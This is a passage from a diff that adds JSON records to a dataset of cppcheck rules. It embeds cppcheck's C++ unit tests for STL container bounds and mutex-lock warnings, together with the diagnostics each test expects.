true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::unique_lock g(m, std::defer_lock);\\n\"\n \" std::lock(g);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:34]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" static std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void g();\\n\"\n \" void f() {\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {\\n\"\n \" std::mutex m;\\n\"\n \" void f() {\\n\"\n \" static std::lock_guard g(m);\\n\"\n \" }\\n\"\n \"};\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:44]: (warning) Lock guard is defined globally. Lock guards are intended to be local. A global lock guard could lead to a deadlock since it won't unlock until the end of the program. [globalLockGuard]\\n\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto& m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" std::lock_guard g(m);\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:33]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void g();\\n\"\n \"std::mutex& h();\\n\"\n \"void f() {\\n\"\n \" auto m = h();\\n\"\n \" m.lock();\\n\"\n \" g();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) The lock is ineffective because the mutex is locked at the same scope as the mutex itself. [localMutex]\\n\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" m.lock();\\n\"\n \" foo();\\n\"\n \" m.unlock();\\n\"\n \" });\\n\"\n \" m.lock();\\n\"\n \" bar();\\n\"\n \" m.unlock();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo();\\n\"\n \"void bar();\\n\"\n \"void f() {\\n\"\n \" std::mutex m;\\n\"\n \" std::thread t([&m](){\\n\"\n \" std::unique_lock g{m};\\n\"\n \" foo();\\n\"\n \" });\\n\"\n \" std::unique_lock g{m};\\n\"\n \" bar();\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { int f = 0; auto g(f); g = g; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct foobar {\\n\"\n \" int foo;\\n\"\n \" std::shared_mutex foo_mtx;\\n\"\n \" int bar;\\n\"\n \" std::shared_mutex bar_mtx;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" foobar xyz;\\n\"\n \" {\\n\"\n \" std::shared_lock shared_foo_lock(xyz.foo_mtx, std::defer_lock);\\n\"\n \" std::shared_lock shared_bar_lock(xyz.bar_mtx, std::defer_lock);\\n\"\n \" std::scoped_lock shared_multi_lock(shared_foo_lock, shared_bar_lock);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestStl)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/eraseIteratorOutOfBounds.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/eraseIteratorOutOfBounds.json new file mode 100644 index 0000000..66705fe --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckStl/eraseIteratorOutOfBounds.json @@ -0,0 +1,22 @@ +{ + "name": "eraseIteratorOutOfBounds", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 22, + "branches": 7, + "apis": 24, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 2285 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkstl.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n#include \"utils.h\"\n\n#include \n#include \n\nclass TestStl : public TestFixture {\npublic:\n TestStl() : TestFixture(\"TestStl\") {}\n\nprivate:\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).severity(Severity::performance).library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(outOfBounds);\n TEST_CASE(outOfBoundsSymbolic);\n TEST_CASE(outOfBoundsIndexExpression);\n TEST_CASE(outOfBoundsIterator);\n\n TEST_CASE(iterator1);\n TEST_CASE(iterator2);\n TEST_CASE(iterator3);\n TEST_CASE(iterator4);\n TEST_CASE(iterator5);\n TEST_CASE(iterator6);\n TEST_CASE(iterator7);\n TEST_CASE(iterator8);\n TEST_CASE(iterator9);\n TEST_CASE(iterator10);\n TEST_CASE(iterator11);\n TEST_CASE(iterator12);\n TEST_CASE(iterator13);\n TEST_CASE(iterator14); // #8191\n TEST_CASE(iterator15); // #8341\n TEST_CASE(iterator16);\n TEST_CASE(iterator17);\n TEST_CASE(iterator18);\n TEST_CASE(iterator19);\n TEST_CASE(iterator20);\n TEST_CASE(iterator21);\n TEST_CASE(iterator22);\n TEST_CASE(iterator23);\n TEST_CASE(iterator24);\n TEST_CASE(iterator25); // #9742\n TEST_CASE(iterator26); // #9176\n TEST_CASE(iterator27); // #10378\n TEST_CASE(iterator28); // #10450\n TEST_CASE(iterator29);\n TEST_CASE(iterator30);\n TEST_CASE(iterator31);\n TEST_CASE(iteratorExpression);\n TEST_CASE(iteratorSameExpression);\n TEST_CASE(mismatchingContainerIterator);\n TEST_CASE(eraseIteratorOutOfBounds);\n\n TEST_CASE(dereference);\n TEST_CASE(dereference_break); // #3644 - handle \"break\"\n TEST_CASE(dereference_member);\n\n TEST_CASE(STLSize);\n TEST_CASE(STLSizeNoErr);\n TEST_CASE(negativeIndex);\n TEST_CASE(negativeIndexMultiline);\n TEST_CASE(erase1);\n TEST_CASE(erase2);\n TEST_CASE(erase3);\n TEST_CASE(erase4);\n TEST_CASE(erase5);\n TEST_CASE(erase6);\n TEST_CASE(eraseBreak);\n TEST_CASE(eraseContinue);\n TEST_CASE(eraseReturn1);\n TEST_CASE(eraseReturn2);\n TEST_CASE(eraseReturn3);\n TEST_CASE(eraseGoto);\n TEST_CASE(eraseAssign1);\n TEST_CASE(eraseAssign2);\n TEST_CASE(eraseAssign3);\n TEST_CASE(eraseAssign4);\n TEST_CASE(eraseAssignByFunctionCall);\n TEST_CASE(eraseErase);\n TEST_CASE(eraseByValue);\n TEST_CASE(eraseIf);\n TEST_CASE(eraseOnVector);\n\n TEST_CASE(pushback1);\n TEST_CASE(pushback2);\n TEST_CASE(pushback3);\n TEST_CASE(pushback4);\n TEST_CASE(pushback5);\n TEST_CASE(pushback6);\n TEST_CASE(pushback7);\n TEST_CASE(pushback8);\n TEST_CASE(pushback9);\n TEST_CASE(pushback10);\n TEST_CASE(pushback11);\n TEST_CASE(pushback12);\n TEST_CASE(pushback13);\n TEST_CASE(insert1);\n TEST_CASE(insert2);\n TEST_CASE(popback1);\n\n TEST_CASE(stlBoundaries1);\n TEST_CASE(stlBoundaries2);\n TEST_CASE(stlBoundaries3);\n TEST_CASE(stlBoundaries4); // #4364\n TEST_CASE(stlBoundaries5); // #4352\n TEST_CASE(stlBoundaries6); // #7106\n\n // if (str.find(\"ab\"))\n TEST_CASE(if_find);\n TEST_CASE(if_str_find);\n\n TEST_CASE(size1);\n TEST_CASE(size2);\n TEST_CASE(size3);\n TEST_CASE(size4); // #2652 - don't warn about vector/deque\n\n // Redundant conditions..\n // if (ints.find(123) != ints.end()) ints.remove(123);\n TEST_CASE(redundantCondition1);\n\n // missing inner comparison when incrementing iterator inside loop\n TEST_CASE(missingInnerComparison1);\n TEST_CASE(missingInnerComparison2); // no FP when there is comparison\n TEST_CASE(missingInnerComparison3); // no FP when there is iterator shadowing\n TEST_CASE(missingInnerComparison4); // no FP when \"break;\" is used\n TEST_CASE(missingInnerComparison5); // Ticket #2154 - FP\n TEST_CASE(missingInnerComparison6); // #2643 - 'it=foo.insert(++it,0);'\n\n // catch common problems when using the string::c_str() function\n TEST_CASE(cstr);\n\n TEST_CASE(uselessCalls);\n TEST_CASE(stabilityOfChecks); // #4684 cppcheck crash in template function call\n\n TEST_CASE(dereferenceInvalidIterator);\n TEST_CASE(dereferenceInvalidIterator2); // #6572\n TEST_CASE(dereference_auto);\n\n TEST_CASE(loopAlgoElementAssign);\n TEST_CASE(loopAlgoAccumulateAssign);\n TEST_CASE(loopAlgoContainerInsert);\n TEST_CASE(loopAlgoIncrement);\n TEST_CASE(loopAlgoConditional);\n TEST_CASE(loopAlgoMinMax);\n TEST_CASE(loopAlgoMultipleReturn);\n\n TEST_CASE(invalidContainer);\n TEST_CASE(invalidContainerLoop);\n TEST_CASE(findInsert);\n\n TEST_CASE(checkKnownEmptyContainer);\n TEST_CASE(checkMutexes);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n Standards::cppstd_t cppstandard = Standards::CPPLatest;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(settings).certainty(Certainty::inconclusive, options.inconclusive).cpp(options.cppstandard).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n // TODO: get rid of this\n void check_(const char* file, int line, const std::string& code) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n runChecks(tokenizer, this);\n }\n\n#define checkNormal(code) checkNormal_(code, __FILE__, __LINE__)\n template\n void checkNormal_(const char (&code)[size], const char* file, int line) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n runChecks(tokenizer, this);\n }\n\n void outOfBounds() {\n setMultiline();\n\n checkNormal(\"bool f(const int a, const int b)\\n\" // #8648\n \"{\\n\"\n \" std::cout << a << b;\\n\"\n \" return true;\\n\"\n \"}\\n\"\n \"void f(const std::vector &v)\\n\"\n \"{\\n\"\n \" if(v.size() >=2 &&\\n\"\n \" bar(v[2], v[3]) )\\n\" // v[3] is accessed\n \" {;}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:18]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:18]: note: Access out of bounds\\n\"\n \"[test.cpp:9:24]: warning: Either the condition 'v.size()>=2' is redundant or size of 'v' can be 2. Expression 'v[3]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:8:17]: note: condition 'v.size()>=2'\\n\"\n \"[test.cpp:9:24]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in expression 's[10]' because 's' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s = \\\"abcd\\\";\\n\"\n \" s[10] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:4]: error: Out of bounds access in 's[10]', if 's' size is 4 and '10' is 10 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" v.front();\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: warning: Either the condition 'v.empty()' is redundant or expression 'v.front()' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:16]: note: condition 'v.empty()'\\n\"\n \"[test.cpp:2:12]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" if (v.size() == 3) {}\\n\"\n \" v[16] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:6]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[16]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:3:6]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v) {\\n\"\n \" int i = 16;\\n\"\n \" if (v.size() == 3) {\\n\"\n \" v[i] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: warning: Either the condition 'v.size()==3' is redundant or size of 'v' can be 3. Expression 'v[i]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:18]: note: condition 'v.size()==3'\\n\"\n \"[test.cpp:4:10]: note: Access out of bounds\\n\", errout_str());\n\n checkNormal(\"void f(std::vector v, int i) {\\n\"\n \" if (v.size() == 3 || i == 16) {}\\n\"\n \" v[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::map x) {\\n\"\n \" if (x.empty()) { x[1] = 2; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(std::string s) {\\n\"\n \" if (s.size() == 1) {\\n\"\n \" s[2] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: warning: Either the condition 's.size()==1' is redundant or size of 's' can be 1. Expression 's[2]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 's.size()==1'\\n\"\n \"[test.cpp:3:10]: note: Access out of bounds\\n\", errout_str());\n\n // Do not crash\n checkNormal(\"void a() {\\n\"\n \" std::string b[];\\n\"\n \" for (auto c : b)\\n\"\n \" c.data();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return {};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"std::string f(std::string x) {\\n\"\n \" if (x.empty()) return std::string{};\\n\"\n \" x[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" x = s.begin() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\"\n \"[test.cpp:3:17]: error: Out of bounds access in expression 's.begin()+1' because 's' is empty. [containerOutOfBounds]\\n\", // duplicate\n errout_str());\n\n checkNormal(\"void f(int x) {\\n\"\n \" std::string s;\\n\"\n \" auto it = s.begin() + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: error: Out of bounds access in expression 's.begin()+x' because 's' is empty and 'x' may be non-zero. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[42]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[42]; }\");\n ASSERT_EQUALS(\"[test.cpp:1:54]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\"\n \"[test.cpp:2:60]: error: Out of bounds access in 's[42]', if 's' size is 6 and '42' is 42 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"char fstr1(){const std::string s = \\\"\\\"; return s[1]; }\\n\"\n \"wchar_t fwstr1(){const std::wstring s = L\\\"\\\"; return s[1]; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv)[42];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: error: Out of bounds access in expression '(*pv)[42]' because '*pv' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" std::string s;\\n\"\n \" ++abc[s];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // # 9274\n checkNormal(\"char f(bool b) {\\n\"\n \" const std::string s = \\\"\\\";\\n\"\n \" int x = 6;\\n\"\n \" if(b) ++x;\\n\"\n \" return s[x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: error: Out of bounds access in 's[x]', if 's' size is 6 and 'x' is 6 [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f() {\\n\"\n \" static const int N = 4;\\n\"\n \" std::array x;\\n\"\n \" x[0] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector x;\\n\"\n \" if (b)\\n\"\n \" x.push_back(1);\\n\"\n \" if (x.size() < 2)\\n\"\n \" return;\\n\"\n \" x[0] = 2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:12]: error: Out of bounds access in expression 'v.at(b?42:0)' because 'v' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"void f(std::vector v, bool b){\\n\"\n \" if (v.size() == 1)\\n\"\n \" if(v.at(b?42:0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:3:16]: warning: Either the condition 'v.size()==1' is redundant or size of 'v' can be 1. Expression 'v.at(b?42:0)' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:18]: note: condition 'v.size()==1'\\n\"\n \"[test.cpp:3:16]: note: Access out of bounds\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s = { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" T t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { &ArrS } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { &ArrS } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\"\n \" std::vector* v;\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" std::vector> t;\\n\"\n \"};\\n\"\n \"long g(S& s);\\n\"\n \"int f() {\\n\"\n \" std::vector ArrS;\\n\"\n \" S s { { { { &ArrS } } } };\\n\"\n \" g(s);\\n\"\n \" return ArrS[0];\\n\"\n \"}\\n\",\n dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"extern void Bar(const double, const double);\\n\"\n \"void f(std::vector &r, const double ) {\\n\"\n \" std::vector result;\\n\"\n \" double d = 0.0;\\n\"\n \" const double inc = 0.1;\\n\"\n \" for(unsigned int i = 0; i < 10; ++i) {\\n\"\n \" result.push_back(d);\\n\"\n \" d = (i + 1) * inc;\\n\"\n \" }\\n\"\n \" Bar(1.0, d);\\n\"\n \" Bar(10U, result.size());\\n\"\n \" Bar(0.0, result[0]);\\n\"\n \" Bar(0.34, result[1]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries + 2)\\n\"\n \" v.resize(entries + 2);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:6]: error: Out of bounds access in expression 'v[0]' because 'v' is empty. [containerOutOfBounds]\\n\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries < 2) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void f(size_t entries) {\\n\"\n \" if (entries == 0) return;\\n\"\n \" std::vector v;\\n\"\n \" if (v.size() < entries)\\n\"\n \" v.resize(entries);\\n\"\n \" v[0] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(std::vector* PArr, int n) {\\n\"\n \" std::vector Arr;\\n\"\n \" if (!PArr)\\n\"\n \" PArr = &Arr;\\n\"\n \" PArr->resize(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" (*PArr)[i] = 1;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"int f() {\\n\"\n \" std::vector v;\\n\"\n \" std::vector * pv = &v;\\n\"\n \" return (*pv).at(42);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: error: Out of bounds access in expression '(*pv).at(42)' because '*pv' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n checkNormal(\"std::string f(const char* DirName) {\\n\"\n \" if (DirName == nullptr)\\n\"\n \" return {};\\n\"\n \" std::string Name{ DirName };\\n\"\n \" if (!Name.empty() && Name.back() != '\\\\\\\\')\\n\"\n \" Name += '\\\\\\\\';\\n\"\n \" return Name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(0);\\n\"\n \" for(auto i:v)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"std::vector range(int n);\\n\"\n \"bool f(bool b) {\\n\"\n \" std::vector v;\\n\"\n \" if (b)\\n\"\n \" v.push_back(1);\\n\"\n \" assert(range(v.size()).size() == v.size());\\n\"\n \" for(auto i:range(v.size()))\\n\"\n \" if (v[i] > 0)\\n\"\n \" return true;\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:3]: style: Consider using std::any_of algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = (int)v.size();\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"int f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const auto n = static_cast(v.size());\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" if (v[i] > 0)\\n\"\n \" return i;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:0]: style: Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n checkNormal(\"bool g();\\n\"\n \"void f(int x) {\\n\"\n \" std::vector v;\\n\"\n \" if (g())\\n\"\n \" v.emplace_back(x);\\n\"\n \" const int n = v.size();\\n\"\n \" h(n);\\n\"\n \" for (int i = 0; i < n; ++i)\\n\"\n \" h(v[i]);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNormal(\"void foo(const std::vector &v) {\\n\"\n \" if(v.size() >=1 && v[0] == 4 && v[1] == 2){}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:38]: warning: Either the condition 'v.size()>=1' is redundant or size of 'v' can be 1. Expression 'v[1]' causes access out of bounds. [containerOutOfBounds]\\n\"\n \"[test.cpp:2:17]: note: condition 'v.size()>=1'\\n\"\n 